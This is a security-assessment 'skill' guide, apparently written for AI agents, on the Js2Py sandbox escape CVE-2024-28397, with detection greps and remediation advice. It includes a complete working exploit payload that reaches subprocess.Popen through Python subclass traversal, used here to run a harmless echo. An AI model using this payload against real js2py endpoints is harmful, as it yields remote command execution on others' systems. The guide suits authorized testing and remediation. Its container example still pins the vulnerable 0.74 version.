Js2Py CVE-2024-28397 Security Assessment
A skill for security professionals to understand, test for, and remediate the Js2Py sandbox escape vulnerability (CVE-2024-28397).
⚠️ Authorization Required
This skill is for authorized security testing only. Only use these techniques on:
- Systems you own or have explicit written permission to test
- Your own development/testing environments
- Bug bounty programs where this vulnerability is in scope
Unauthorized access to computer systems is illegal.
What This Vulnerability Is
Js2Py translates JavaScript into Python objects. Even when js2py.disable_pyimport() is used, untrusted JavaScript can traverse Python internals to reach dangerous classes like subprocess.Popen, achieving remote code execution (RCE).
Affected versions: Js2Py ≤ 0.74
Root cause: Js2Py exposes Python object wrappers to JavaScript without stripping dangerous attributes (__getattribute__, __class__, __base__, __subclasses__). The disable_pyimport() function only blocks explicit imports but doesn't prevent accessing already-loaded modules.
The Exploitation Chain
Step-by-Step Primitive Chain
- Get a Python-backed object:
Object.getOwnPropertyNames({})returns adict_keysobject in Python space - Recover attribute access: Grab
.__getattribute__from that object to read arbitrary attributes - Climb to
object: From<class 'dict_keys'>read.__base__to reach Python's baseobject - Enumerate loaded classes: Call
object.__subclasses__()to walk every class loaded in the interpreter - Find
subprocess.Popen: Recursively search subclasses where__module__ == "subprocess"and__name__ == "Popen" - Execute commands: Instantiate Popen with attacker-controlled arguments and invoke
.communicate()
Why This Works
- Js2Py exposes Python object wrappers to JS without stripping dangerous dunder methods
disable_pyimport()only blocks explicitpyimportcalls- The chain never imports anything new; it reuses already-loaded modules in memory
- No hard isolation between JS and Python execution contexts
Testing for the Vulnerability
Local Reproduction (Authorized Testing Only)
# Js2Py 0.74 requires Python 3.11 (breaks on 3.12/3.13)
uv run --with js2py==0.74 --python 3.11 python - <<'PY'
import js2py
# Test 1: Basic object access
print("Test 1:", js2py.eval_js("Object.getOwnPropertyNames({})"))
# Test 2: Attribute access primitive
print("Test 2:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__"))
# Test 3: Class traversal
print("Test 3:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\")"))
# Test 4: Base object access
print("Test 4:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__"))
# Test 5: Subclass enumeration
print("Test 5:", js2py.eval_js("Object.getOwnPropertyNames({}).__getattribute__(\"__class__\").__base__.__subclasses__()"))
PY
Web Application Testing
Any endpoint that feeds attacker-controlled JS into js2py.eval_js() is vulnerable if:
- The process user has shell access
- Js2Py version ≤ 0.74
- No additional sandboxing layers exist
Common vulnerable patterns:
# VULNERABLE: Flask endpoint accepting JS code
@app.route('/run_code')
def run_code():
js_code = request.json['code']
result = js2py.eval_js(js_code) # RCE if attacker controls js_code
return jsonify({'result': result})
# VULNERABLE: Even with disable_pyimport()
js2py.disable_pyimport()
result = js2py.eval_js(attacker_controlled_js) # STILL VULNERABLE
Detection Checklist
Use this checklist to identify vulnerable systems:
- Dependency scan: Check if
js2pyis inrequirements.txt,package.json, or lock files - Version check: Verify if version is ≤ 0.74
- Code search: Look for
js2py.eval_js(with user-controlled input - API review: Identify endpoints accepting JavaScript code execution
- Sandbox review: Check if
disable_pyimport()is the only mitigation - Process permissions: Determine if the process user has shell access
Code Search Patterns
# Find js2py usage
grep -r "import js2py" .
grep -r "from js2py" .
grep -r "eval_js" .
# Find disable_pyimport usage (false sense of security)
grep -r "disable_pyimport" .
Remediation Strategies
Immediate Mitigations
Upgrade Js2Py (if a patched version exists)
pip install --upgrade js2pyRemove untrusted JS execution
- If you don't need to execute untrusted JavaScript, remove js2py entirely
- Use safer alternatives like Node.js in a container for JS execution
Implement hard isolation
- Run js2py in a separate process with minimal privileges
- Use containers (Docker) with no shell access
- Implement network isolation
Long-term Solutions
Replace with safer alternatives
- For JS execution: Use Node.js in isolated containers
- For JS-to-Python data exchange: Use JSON serialization instead of object translation
Implement input validation
- Whitelist allowed JavaScript operations
- Sanitize all user input before execution
- Use allowlists rather than blocklists
Defense in depth
- Run in containers with seccomp profiles
- Use read-only filesystems where possible
- Implement network egress filtering
- Monitor for suspicious process spawning
Example: Containerized Isolation
FROM python:3.11-slim
# Install js2py
RUN pip install js2py==0.74
# Create unprivileged user
RUN useradd -r -s /bin/false js2py_user
# Set restrictive environment
USER js2py_user
WORKDIR /app
# No shell access, limited capabilities
CMD ["python", "app.py"]
Security Testing Script
Use this script to test your own systems (authorized testing only):
#!/usr/bin/env python3
"""Test for CVE-2024-28397 in your own js2py installations."""
import js2py
import sys
def test_sandbox_escape():
"""Test if the sandbox can be escaped."""
# Test payload - harmless command for testing
test_cmd = "echo 'sandbox_test_success'"
payload = f"""
let cmd = "{test_cmd}";
let hacked, bymarve, n11;
let getattr, obj;
hacked = Object.getOwnPropertyNames({});
bymarve = hacked.__getattribute__;
n11 = bymarve("__getattribute__");
obj = n11("__class__").__base__;
getattr = obj.__getattribute__;
function findpopen(o) {{
let result;
for (let i in o.__subclasses__()) {{
let item = o.__subclasses__()[i];
if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
return item;
}}
if (item.__name__ != "type" && (result = findpopen(item))) {{
return result;
}}
}}
}}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
n11;
"""
try:
result = js2py.eval_js(payload)
if "sandbox_test_success" in str(result):
print("[VULNERABLE] Sandbox escape successful!")
return True
else:
print("[SAFE] Sandbox escape failed")
return False
except Exception as e:
print(f"[SAFE] Exception during test: {e}")
return False
if __name__ == "__main__":
print("CVE-2024-28397 Vulnerability Test")
print("=" * 40)
print(f"Js2Py version: {js2py.__version__}")
print()
test_sandbox_escape()
Common Misconceptions
❌ "disable_pyimport() protects us"
False. This only blocks explicit pyimport calls. The vulnerability chain never imports anything new.
❌ "We don't execute user JS, so we're safe"
Check carefully. User input might reach js2py through:
- API endpoints accepting code
- File uploads with JS content
- Database-stored scripts
- Third-party integrations
❌ "It's just a sandbox, not production"
False. Development/test environments can be pivot points to production systems if on the same network.
References
When to Use This Skill
Use this skill when:
- Reviewing codebases for js2py usage
- Conducting authorized security assessments
- Implementing JavaScript execution in Python applications
- Responding to CVE-2024-28397 alerts
- Designing secure sandbox architectures
- Training security teams on sandbox escapes
Related Vulnerabilities
Similar sandbox escape patterns exist in:
- Other JS-to-Python bridges
- Python-to-JavaScript bridges
- Any language bridge exposing internal object attributes
- Sandboxes relying on attribute blocking without hard isolation